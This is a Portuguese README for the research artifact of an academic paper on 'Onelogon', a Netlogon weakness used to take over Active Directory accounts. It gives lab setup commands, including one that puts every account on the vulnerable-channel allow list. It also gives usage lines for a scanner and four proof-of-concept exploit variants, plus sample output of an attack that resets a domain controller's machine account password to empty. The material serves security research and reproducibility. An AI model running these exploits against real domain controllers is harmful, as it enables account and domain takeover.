
Código e dados do nosso artigo "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26).
Este repositório contém o código e os dados que acompanham nosso artigo Onelogon: assumindo o controle de contas do Active Directory via Netlogon (WOOT'26).
A vulnerabilidade descrita em nosso artigo ataca uma fragilidade no patch criptográfico de 2020 para a vulnerabilidade Zerologon. Contas listadas em uma política de grupo criada para permitir suporte a ambientes legados que não suportam assinatura e selagem do Netlogon são vulneráveis a este ataque. Uma descrição detalhada da vulnerabilidade, a cadeia de ataque completa esperada e possíveis mitigações podem ser encontradas no artigo.
@inproceedings{woot2026-onelogon,
title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
date = {2026-08},
editor = {Bianchi, Antonio and Classen, Jiska},
location = {Baltimore, MD, USA},
publisher = {USENIX Association}
}
O artefato consiste em um projeto Python poetry para o scanner e os exploits.
Para executar os scripts fornecidos com o artefato, instale Python (3.12 ou posterior) e poetry (instruções) ou uv (instruções). Para simplificar, listamos os comandos assumindo que você está usando poetry; se preferir usar uv, basta substituir qualquer menção a poetry por uv.
Todos os comandos neste documento devem ser executados no diretório raiz do artefato (onde este README está).
Se estiver usando poetry, execute poetry install para instalar todas as dependências.
Para reproduzir os resultados do artigo, você pode configurar um controlador de domínio usando uma versão do Windows Server com a correção do Zerologon (verificamos o exploit tanto nas versões 2019 quanto 2025).
Para configurar o controlador de domínio em uma nova instalação do Windows Server 2025, execute os seguintes comandos:
# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart
# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"
# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
A vulnerabilidade se aplica a qualquer conta listada na DACL do objeto de Política de Grupo Domain Controller: Allow vulnerable Netlogon secure channel connections ou na chave de registro correspondente:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList
Você pode configurar esses parâmetros manualmente no controlador de domínio (lembre-se de executar gpupdate /force se você atualizar a entrada da GPO) ou executar o seguinte comando para adicionar todas as contas à DACL na chave de registro:
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
-Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
-ValueName "VulnerableChannelAllowList" `
-Type String `
-Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
Para determinar quais contas um controlador de domínio lista em sua VulnerableChannelAllowList, fornecemos um scanner que analisa o hive do registro e o compartilhamento de volume da GPO do controlador de domínio.
Observe que acessar o registro para esta verificação exige privilégios de Administrador de Domínio (o exploit, obviamente, não exige).
# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>
# Specify `--help` to get additional usage instructions.
poetry run scan --help
Um resultado positivo da verificação (há contas vulneráveis no controlador de domínio) refletirá o descritor de segurança contendo as contas vulneráveis (na Security Descriptor Definition Language da Microsoft):
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
Um resultado negativo (o DC alvo não está vulnerável) terá a seguinte aparência:
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
- The system cannot find the file specified.
Para executar o exploit de prova de conceito contra um controlador de domínio alvo, selecione primeiro uma conta vulnerável. Você precisará do endereço IP do controlador de domínio, do nome do host e do nome da conta vulnerável.
Em nosso ambiente de exemplo, o controlador de domínio vulnerável se chama DC.
Sua conta de máquina (DC$) está incluída na política da GPO e, portanto, é vulnerável ao Onelogon.
# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
Como ilustração, fornecemos a saída de uma execução bem-sucedida do ataque meet-in-the-middle contra um ambiente de teste:
~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$'
[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None,
comp_password=None, comp_hash=None, workers=100)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Using flags: (0b100001000111111111111111111111)
1: A IGNORED (Account lockout)
1: B NT3.5 BDC continuous update
1: C RC4 support
1: D IGNORED (Promotion count(deprecated))
1: E Supports BDC handling Changelogs
1: F Supports Restarting full DC sync
1: G Does not require ValidationLevel 2 for nongeneric passthrough
1: H Supports DatabaseRedo
1: I Supports refusal of password changes
1: J Supports NetrLogonSendToSam
1: K Supports generic pass-through
1: L Supports concurrent RPC calls
1: M Supports avoid of user account database replication
1: N Supports avoid of Security Authority database replication
1: O Supports Strong keys
1: P Supports transitive trusts
1: Q IGNORED (Supports DNS trusts)
1: R Supports NetrServerPasswordSet2
1: S Supports NetrLogonGetDomainInfo
1: T Supports cross-forest trusts
1: U No NT4 Emulation
0: V Supports RODC pass-through
0: 0
0: 0
1: W Supports AES 128-bit CFB and SHA2
0: 0
0: 0
0: 0
0: 0
1: X IGNORED (Authenticated RPC via lsass supported)
0: Y Supports secure RPC authentication
0: Z Supports Kerberos for secure channel setup
[*] Estimated total tries without flushing: 2^16 / 2
[+] Starting the brute force attack...
[*] ROUND STATS:
[*] REQ: Took 5.0858272750047036 seconds,
average time per attempt: 0.00286042028965393909 seconds
[*] TRY: Took 120.00023781700293 seconds
[*] CLEANUP: Took 5.999754648655653e-08 seconds
[*] ALL: Took 125.08606619200145 seconds,
average time per attempt: 0.07035211821822354161 seconds
[*]
[*] TOTAL STATS:
[*] TOTAL: 0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds
[*] TRIES: 5538, average tries per cycle: 1846
[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours
[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!!
[+] Password set successfully to empty string!
[+] Successfully set the password of DC$ to an empty string!
[+] All tasks have been processed, stopping workers.
[+] All workers have been stopped.
Para reproduzir as medições da Tabela 1 do artigo, execute todos os quatro exploits descritos na seção anterior.
Você pode obter o tempo de ataque esperado sem concluir o ataque completo, o que seria proibitivamente caro para as abordagens ingênuas.
A velocidade da força bruta de 32 bits que aguarda o timeout é limitada pelo período de validade dos desafios do cliente. Um ciclo completo (no qual 100 mil desafios podem ser processados) leva então 120s (o timeout para a lista de desafios ser limpa). Portanto, o tempo de ataque esperado é sempre $\frac{2^{31}}{100000}\cdot 120\mathrm{s} \approx 29.83\mathrm{d}$.
Para ataques que usam uma conta de computador (tanto o ataque de 32 bits quanto o de 24 bits), use o tempo médio por tentativa $t$ da seção TOTAL STATS da saída. O ataque de 32 bits precisa, em média, de $2^{31}$ tentativas (para um tempo total esperado de $2^{31}t$). Da mesma forma, a duração esperada do ataque de 24 bits é $2^{23}t$.
Para a abordagem de meet-in-the-middle, não podemos tentar todas as credenciais de cliente possíveis dentro do prazo de expiração de 120 segundos dos desafios.
Em vez disso, o tempo esperado para o ataque é determinado por quantas tentativas de autenticação conseguimos realizar nesse intervalo de tempo.
Para obter esse número, use a média de tentativas por ciclo $a$ da seção TOTAL STATS da saída.
Como precisamos, em média, de $2^{15}$ tentativas de autenticação para obter uma taxa de sucesso de 50%, o tempo de ataque esperado é simplesmente $2^{15} \cdot a^{-1} \cdot 120\mathrm{s}$
Os tempos exatos obtidos dependerão da configuração exata de hardware e software.